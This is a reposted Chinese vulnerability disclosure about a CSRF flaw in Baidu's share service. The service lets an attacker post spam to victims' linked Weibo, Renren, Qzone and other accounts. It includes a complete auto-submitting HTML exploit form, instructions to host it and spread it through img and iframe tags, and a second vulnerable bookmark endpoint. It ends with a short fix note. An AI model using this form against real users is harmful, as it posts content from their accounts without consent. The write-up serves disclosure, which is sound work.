鸿 网 互 联 www.68idc.cn

百度一键分享CSRF

来源:互联网 作者:佚名 时间:2016-05-07 10:00
通过百度账号在绑定关联的其他社交网站上发微博或帖子(包括新浪微博,腾讯微博,人人网,QQ空间以及开心网).可利用此漏洞在多个社交网站上传播social spam. 这个CSRF比较有趣是因为他本身并不攻击存在缺陷的站点,而是隔山打牛,攻击那些信任存在缺陷站点的
通过百度账号在绑定关联的其他社交网站上发微博或帖子(包括新浪微博,腾讯微博,人人网,QQ空间以及开心网).可利用此漏洞在多个社交网站上传播social spam. 这个CSRF比较有趣是因为他本身并不攻击存在缺陷的站点,而是隔山打牛,攻击那些信任存在缺陷站点的其他站点。
详细说明:未做CSRF保护的post入口是http://s.share.baidu.com/mshare
 
构造如下代码:
 
 
<form name="form1" action="http://s.share.baidu.com/mshare" method="POST">
<input type="hidden" name="url" value="http://any.com">
<input type="hidden" name="uid" value="any number">
<input type="hidden" name="type" value="text">
<input type="hidden" name="site" value="">
<input type="hidden" name="title" value="any value">
<input type="hidden" name="sign" value="on">
<input type="hidden" name="desc" value="">
<input type="hidden" name="comment" value="">
<input type="hidden" name="searchPic" value="0">
<input type="hidden" name="relatedUid" value="">
<input type="hidden" name="turl" value="">
<input type="hidden" name="buttonType" value="">
<input type="hidden" name="apiType" value="">
<input type="hidden" name="l" value="any value">
<input type="hidden" name="linkid" value="any value">
<input type="hidden" name="sloc" value="any value">
<input type="hidden" name="token" value="">
<input type="hidden" name="content" value="CSRF Test">
<input type="hidden" name="pic" value="">
<input type="hidden" name="bindList" value="">
<input type="hidden" name="to" value="tsina,renren,qzone,tqq,kaixin001,">
</form>
<script language="javascript">
document.form1.submit()
</script>

 

 
 
 
 
 
写入某attack.html文件并存放在攻击者控制的机器上,然后通过<img> <iframe> 等标签散布出去。用户一旦点击,讲被动的在已经和百度关联的其他社交网站上发帖子。
 
 
 
 
漏洞证明:在百度账号与新浪微博关联的情况下做实验(关联其他如腾讯微博,人人网,QQ空间以及开心网类似,故不一一列举)
 
攻击前新浪微博:
 
攻击执行(真是攻击中不可见,这里为了说明方便):
 
 
攻击后新浪微博:
 
 


 
 
修复方案:


CSRF一般性防御。比较值得一提的是,我发现提交表单中有token一项,但是没有用。为什么?还在测试阶段???
 
 
 
另外还有一处CSRF点,在百度收藏中。具体的post口在http://cang.baidu.com/do/cm 可以通过这个CSRF让百度用户收藏恶意站点。但是具体如何扩大攻击,没有具体想法,故不另开一个漏洞提交了。
 
网友评论
<